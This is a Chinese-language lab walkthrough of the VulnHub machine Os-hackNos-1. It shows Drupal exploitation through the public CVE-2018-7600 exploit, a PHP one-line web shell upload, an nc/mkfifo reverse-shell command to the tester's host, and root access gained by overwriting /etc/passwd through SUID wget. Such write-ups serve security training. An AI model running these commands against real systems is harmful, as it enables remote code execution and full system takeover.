vulnhub靶機練習-Os-hackNos-1,超詳細使用


第一次寫自己總結的文章,之后也會有更新,目前還在初學階段。

首先介紹一下靶機,靶機是 vulnhub Os-hackNos-1

簡介: 難度容易到中, flag 兩個 一個是普通用戶的user.txt 另外一個是root用戶的user.txt

靶機的地址:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

有的靶機可能打開無法獲取IP,我們需要使用方法來進入到靶機內,修改信息。

 

開始過程:

1.去靶機的網站進行下載,一個是直接下載,一個是磁力鏈接。
 

 

2.在這個頁面一直按shift然后按e進入頁面
 
3.將這里的ro修改為rw single init=/bin/bash,然后按ctrl+x,進入頁面
4.查ip發現查不到,記住網卡的名稱,准備修改配置信息
5.vim /etc/network/interfaces 看一下配置信息用的是哪一個網卡,把這兩個都改成 ens33
6.然后/etc/init.d/networking restart 重啟網卡服務
7.最后按ctrl+alt+del,進行重啟
 

接下來開始正式的操作

首先看ip然后掃描這個ip段,看靶機的IP地址是多少
 
發現靶機ip和其他的不同

 

使用nmap掃描:nmap -sV -sC -A 192.168.0.8 -oA oshacknos1

 

 

 

 

發現開放22和80端口,嘗試訪問

 

 

使用火狐訪問,firefox http://192.168.0.8

 

 

訪問成功

 

 

先使用目錄掃描器,查看后台目錄,發現gobuster沒有安裝,先安裝。apt install gobuster

 

 

輸入命令gobuster dir -u http://192.168.0.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
發現存在一個/drupal的頁面

 

 

訪問成功。http://192.168.0.8/drupal/

 

 

獲取到了后台,是drupal一個php的內容管理系統。可以下載一個系統來查看他的后台有那些目錄,或者去查找相關的目錄。

 

 

發現版本為7.57,可以網上查找是否存在exp。

 

 

在github上發現了exp,https://github.com/pimps/CVE-2018-7600

 

 

創建一個文件夾,來安裝exp。命令git clone https://github.com/pimps/CVE-2018-7600.git

 

 

使用python3來打開,輸入-h參數。python3 drupa7-CVE-2018-7600.py -h

 

 

發現有很多參數,這里一般填寫url即可。
positional arguments:
target URL of target Drupal site (ex: http://target.com/)
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND Command to execute (default = id)
-f FUNCTION, --function FUNCTION Function to use as attack vector (default = passthru)
-p PROXY, --proxy PROXY Configure a proxy in the format http://127.0.0.1:8080/ (default = none)

 

 

輸入url之后,默認輸入了id,返回了用戶www-data。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/

 

 

這里的-c參數可以執行系統命令。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c whoami

 

 

查看目錄文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c ls

 

 

訪問數據庫文件的頁面。http://192.168.0.8/drupal/sites/

 

 

 

 

查看數據庫文件。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "cat sites/default/settings.php"

 

 

獲取到了賬號密碼文件
* @code
* array(
* 'driver' => 'mysql',
* 'database' => 'databasename',
* 'username' => 'username',
* 'password' => 'password',
* 'host' => 'localhost',
* 'port' => 3306,
* 'prefix' => 'myprefix_',
* 'collation' => 'utf8_general_ci',
* );
* @endcode

 

 

在獲取賬號的同時也可以在對目錄進行更深的掃描。gobuster dir -u http://192.168.0.8/drupal -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

 

 

在之前創建的文件夾目錄下,創建config.txt文件,寫入賬號和密碼。

 

編寫一個php文件的一句話。<?php system($_POST['knife']);?>
 
開啟python自帶的httpserver,查看ip地址。python -m SimpleHTTPServer

 

 

要在靶機上上傳這個木馬文件,嘗試訪問,訪問成功。命令python3 drupa7-CVE-2018-7600.py http://192.168.0.8/drupal/ -c "wget http://192.168.0.3:8000/qq.php"

 

 

上傳成功

 

 

 

 

在抓代理之前,設置火狐為中文,方便之后的查看

 

 

發現代理沒有下載,搜索foxyproxy進行下載,點擊添加即可。

 

 

在burp這個頁面設置代理

 

 

 

 

上傳之后,查看文件無法顯示,抓包看一下。

 

 

更改提交的方法,使用change request method

 

 

成功獲取,可以執行命令了,試着做一個反彈shell

 

 

先監聽9001端口

 

 

使用nc的命令進行反彈shell。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

 

 

放到moon的這里。需要進行編碼才可以。rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+192.168.0.3+9001+%3e%2ftmp%2ff

 

 

獲取成功

 

 

對shell進行一個切換,-c導入模塊pty,最后登錄成功
python3 -c 'import pty;pty.spawn("/bin/bash")'

 

 

查看id和ls目錄,查看/etc/passwd 下的目錄,發現有一個james的用戶,查看內容

 

 

查看user.txt,發現第一個flag。bae11ce4f67af91fa58576c1da2aad4b

 

 

試着訪問root目錄發現沒有權限。繼續查看其他文件,看看有沒有可疑文件。

 

 

返回上一級目錄查看文件,發現一個alexander.txt的文件。

 

 

查看文件發現為一些密文,可以使用burp來進行解密,發現可以使用base64位來進行解密
解密內容:+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
使用百度進行查詢發現是一種編碼格式進行解密。

 

 

 

 

獲得賬號。james:Hacker@4514

 

 

保存賬號到目錄下

 

 

嘗試登錄,發現無法登錄

 

 

想起之前有開放22端口,試着ssh登錄,發現也是不行

 

 

沒有其他辦法了,試着提權,先看看suid提權,需要搜索到,帶有s的文件,開始查找。find / -perm -u=s -type f 2>/dev/null

 

 

發現這里有一個wget,是可以下載文件的,普通用戶也可以執行,可以用來替換我們的/etc/password。
把整個passwd先復制出來,然后在baji1的文件夾里創建一個passwd,粘貼進去。

 

 

創建一個用戶

 

 

將root的格式復制出來,使用knife來進行使用
root:x:0:0:root:/root:/bin/bash
knife:$1$knife$C950ul0bfwnJsvgk7oiF/0:0:0:root:/root:/bin/bash

 

 

保存到創建的passwd里面

 

 

 

 

訪問本地的端口,查看文件是否可以訪問

 

 

下載到我們的目標靶機上,把passwd進行替換就可以了。命令wget http://192.168.0.3:8000/passwd -O /etc/passwd

 

 

打開passwd發現修改成功

 

 

使用knife進行登錄,用戶權限變成root,修改成功

 

 

返回主目錄,打開root.txt。獲取flag

 

 

查看一下ssh,發現ssh防護做的很好,只需要把目錄給增強一下即可。

 

 

總結

1.第一次進行靶機的滲透,有需要地方還不熟悉,工具也是在過程中安裝的沒有事先安裝。

2.過程中遇到了很多問題,文件上傳的問題,nc反彈shell的問題等問題,這些問題在滲透中,都需要去查找資料,慢慢一步一步的去做。

3.總的來說,第一次靶機很艱難,但也十分有趣,能學習到很多知識,對自身也有很大的提升。

 
 
 
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM